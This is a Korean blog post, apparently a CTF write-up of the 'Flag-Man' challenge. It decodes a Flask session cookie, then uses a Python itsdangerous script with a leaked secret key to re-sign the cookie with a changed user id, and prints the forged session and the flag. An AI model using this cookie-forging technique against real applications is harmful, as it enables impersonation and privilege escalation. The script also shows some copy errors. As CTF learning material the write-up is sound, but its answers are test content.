티스토리 뷰

Flag-Man

 

Github 아이콘과 함께 login 그리고 오직 / and /user 만 있고 다른 페이지는 없다고 한다. (callback은?)


문제에서 주어진 /user 에도 이동해보면 달랑 please login first. 만 있는 줄 알았는데 마우스로 드래그해보면 Flask로 동작하고 있다는 것을 알 수 있다.


login을 눌러보면 내 Github 계정의 권한을 요청한다.


요청을 허가하고 나면 /user/ 에 접근이 가능하고 Github 계정 사진 정보와 uid, id 번호 값을 가져오는 것을 알 수 있고 쿠키를 확인해보면 그전에 없던 session 이라는 것이 생성되어 있는 것을 알 수 있다.


session: eyJpbmZvIjpbMiwiZG85ZGFyayIsMTY1MDgzNzAsImh0dHBzOi8vYXZhdGFycy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNjUwODM3MD92PTMiXX0.CboUGA.DMsNeQ_SEk_MIfxUjONDCUm-kyw


위 값을 base64 로 디코딩해보면 아래와 같은 값을 알 수 있다.

{"info":[2,"do9dark",16508370,"https://avatars.githubusercontent.com/u/16508370?v=3"]}n�3,5�C#8��Ri2


앞 부분은 읽는 게 가능하지만 뒷 부분은 그렇지 않은 것을 알 수 있고 session 을 보면 .(dot)을 기준으로 첫 번째 구간의 값이 정상적으로 디코딩 된 데이터와 매칭되는 것을 알 수 있다. 

여기에서 풀이를 보면 {{app.secret_key}} 값을 얻어내야하는데, 그 부분을 잘 모르겠습니다...누가 좀 알려주세요 ㅠ_ㅜ

시간이 없어서 우선 풀이에 있는 secret_key 값을 이용하였다.



session 의 값을 정상적으로 풀어서 확인해보고 정상적으로 풀렸다면 반대로 해당 데이터의 값을 변조해서 다시 서명을 한다. (id 값을 2에서 1로 변경해준다.)


해당 코드는 아래와 같다.

sign.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# pip install itsdangerous
from itsdangerous import URLSafeTimedSerializer
# pip install flask
from flask.sessions import TaggedJSONSerializer
 
import hashlib
 
val = "eyJpbmZvIjpbMiwiZG85ZGFyayIsMTY1MDgzNzAsImh0dHBzOi8vYXZhdGFycy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNjUwODM3MD92PTMiXX0.CboUGA.DMsNeQ_SEk_MIfxUjONDCUm-kyw"
secret_key = 'sflkgjsiotu2rjdskjfnpwq9rwrehnpqwd0i2ruruogh9723yrhbfnkdsjl'
salt = 'cookie-session'
serializer = TaggedJSONSerializer()
signer_kwargs = dict(
    key_derivation = 'hmac',
    digest_method = hashlib.sha1
)
 
= URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)
 
print s.loads(val)
 
new = s.loads(val)
new['info'][0= 1
print s.dumps(new)
cs


결과:


첫 번째 줄에 정상적으로 풀린 것을 볼 수 있고 두 번째 줄에는 2를 1로 변경해서 다시 서명한 session 값이다.


session: eyJpbmZvIjpbMSwiZG85ZGFyayIsMTY1MDgzNzAsImh0dHBzOi8vYXZhdGFycy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNjUwODM3MD92PTMiXX0.CboZfA.9isMF0fsxeylkk4UJaqSs_JQaBI

이 값을 이용해서 쿠키를 변조해주면 Flag를 얻을 수 있다.


Flag: SSCTF{dc28c39697058241d924be06462c2040}






댓글
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
링크
공지사항
Total
Today
Yesterday